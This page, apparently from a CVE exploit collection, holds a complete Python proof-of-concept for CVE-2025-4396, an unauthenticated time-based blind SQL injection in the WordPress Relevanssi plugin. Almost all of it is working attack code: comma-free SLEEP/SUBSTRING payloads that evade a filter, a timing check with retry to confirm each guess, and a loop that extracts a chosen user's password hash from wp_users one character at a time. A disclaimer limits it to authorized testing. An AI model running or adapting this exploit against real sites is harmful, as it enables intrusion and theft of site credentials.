5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE_2025_4396.py PY
#!/usr/bin/env python3
"""
=============================================================================
CVE-2025-4396 - WordPress Relevanssi SQL Injection (Time-Based Blind PoC)
=============================================================================
Author:       [n3fhara]
Date:         2026-03-18
Version:      1.0 (Standard Edition)
Target:       WordPress with Relevanssi Plugin (Vulnerable to CVE-2025-4396)

Description:
------------
This Proof of Concept (PoC) exploits an unauthenticated Time-Based Blind SQL 
injection vulnerability within the Relevanssi plugin (CVE-2025-4396). The 
injection occurs via the 'cats' parameter.

To bypass strict comma filters implemented by the application, this script 
utilizes mathematical boolean evaluation: 
e.g., SLEEP(3 * (ASCII(SUBSTRING(...))=CHAR))

The script is specifically designed to extract the WordPress user password 
hash, fully supporting the new WP 6.8 hash format (HMAC-SHA384 + Bcrypt).

Disclaimer:
-----------
This tool is provided for educational and authorized testing purposes ONLY. 
It is intended for Red Team / Purple Team assessments. Do not use this tool 
against any systems for which you do not have explicit, written permission.

Usage:
------
python3 CVE_2025_4396.py -t "https://target.local/?s=test&cats=" -u 1 -s 3 -v
=============================================================================
"""

import requests
import time
import urllib3
import argparse
import sys
import logging

# Disable SSL/TLS warnings (useful for local labs with self-signed certs)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Full charset required to extract WP 6.8 Bcrypt hashes ($ and . included)
CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$./"
MAX_HASH_LENGTH = 64  # Maximum length for WP 6.8+ hashes

def parse_args():
    """Parse command line arguments."""
    parser = argparse.ArgumentParser(description="Standard PoC for CVE-2025-4396 (Time-Based Blind SQLi)")
    parser.add_argument("-t", "--target", required=True, 
                        help="Target URL including vulnerable parameters (e.g., https://target.local/?s=test&cats=)")
    parser.add_argument("-u", "--userid", required=True, type=int, 
                        help="The WordPress User ID to extract the hash from (e.g., 1 for admin)")
    parser.add_argument("-s", "--sleep", default=3, type=int, 
                        help="Base sleep time for SQL execution in seconds (default: 3)")
    parser.add_argument("-v", "--verbose", action="store_true", 
                        help="Enable verbose debug logging")
    
    return parser.parse_args()

def setup_logger(verbose):
    """Configure the logging module for console output."""
    level = logging.DEBUG if verbose else logging.INFO
    logging.basicConfig(
        level=level, 
        format='[%(asctime)s] [%(levelname)s] %(message)s', 
        datefmt='%H:%M:%S'
    )
    # Reduce noise from underlying HTTP libraries
    logging.getLogger("urllib3").setLevel(logging.WARNING)

def extract_hash(target, user_id, sleep_time):
    """
    Core extraction loop using Time-Based Blind SQL injection.
    
    Args:
        target (str): Base URL with vulnerable parameters.
        user_id (int): Target WP User ID.
        sleep_time (int): Threshold in seconds to determine True/False conditions.
        
    Returns:
        str: The extracted password hash.
    """
    extracted_hash = ""
    logging.info(f"Starting reliable hash extraction for User ID {user_id}...")
    logging.info(f"Target: {target}")
    logging.info(f"Sleep time threshold: {sleep_time}s")

    # Warm-up request: Absorbs initial DNS/TLS handshake latency to prevent false positives
    logging.debug("Sending warm-up request to stabilize network latency...")
    try:
        requests.get(target, verify=False, timeout=5)
    except requests.exceptions.RequestException:
        pass

    print("\n[+] Extraction in progress (Double-verification Anti-Jitter enabled):\n")

    for pos in range(1, MAX_HASH_LENGTH + 1):
        found_char = False
        
        for char in CHARSET:
            char_ascii = ord(char)
            
            # Mathematical payload without commas (Relevanssi WAF bypass)
            payload = f"1) AND (SELECT SLEEP({sleep_time}*(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID={user_id}) FROM {pos} FOR 1))={char_ascii})))-- -"
            
            # Simple URL encoding for spaces
            payload_encoded = payload.replace(' ', '%20')
            full_url = target + payload_encoded
            
            logging.debug(f"Testing char '{char}' at pos {pos}...")
            start_time = time.time()
            
            try:
                # Setting timeout slightly above sleep_time to avoid hanging indefinitely
                requests.get(full_url, verify=False, timeout=sleep_time + 10)
                elapsed_time = time.time() - start_time
            except requests.exceptions.ReadTimeout:
                # If timeout is triggered, the sleep occurred (True condition)
                elapsed_time = sleep_time + 10
            except requests.exceptions.RequestException as e:
                logging.error(f"Network error: {e}")
                continue

            # ==========================================
            # ANTI-JITTER: Double Verification Phase
            # ==========================================
            if elapsed_time >= sleep_time:
                logging.debug(f"Potential match for '{char}' (Time: {elapsed_time:.2f}s). Verifying...")
                start_time_verify = time.time()
                
                try:
                    requests.get(full_url, verify=False, timeout=sleep_time + 10)
                    verify_time = time.time() - start_time_verify
                except requests.exceptions.ReadTimeout:
                    verify_time = sleep_time + 10
                    
                if verify_time >= sleep_time:
                    extracted_hash += char
                    # Interactive inline output
                    sys.stdout.write(f"\rHash: {extracted_hash}\n")
                    sys.stdout.flush()
                    found_char = True
                    break 
                else:
                    logging.debug(f"False positive rejected for '{char}' (Verify time: {verify_time:.2f}s)")
                
        # If the charset loop finishes without finding a character, end of hash is reached
        if not found_char:
            print(f"\n\n[-] No character found at position {pos}. End of hash reached or filter triggered.")
            break

    return extracted_hash

def main():
    """Main execution flow."""
    args = parse_args()
    setup_logger(args.verbose)
    
    try:
        final_hash = extract_hash(args.target, args.userid, args.sleep)
        
        if final_hash:
            print(f"\n\n[!] Extraction complete. Valid Hash: {final_hash}\n")
            sys.exit(0)  # Standard success exit code
        else:
            logging.error("Failed to extract hash. Check if the target is vulnerable or if the sleep time is sufficient.")
            sys.exit(1)  # Standard error exit code
            
    except KeyboardInterrupt:
        print("\n\n[!] Extraction aborted by user.")
        sys.exit(130)  # Standard exit code for SIGINT (Ctrl+C)

if __name__ == "__main__":
    main()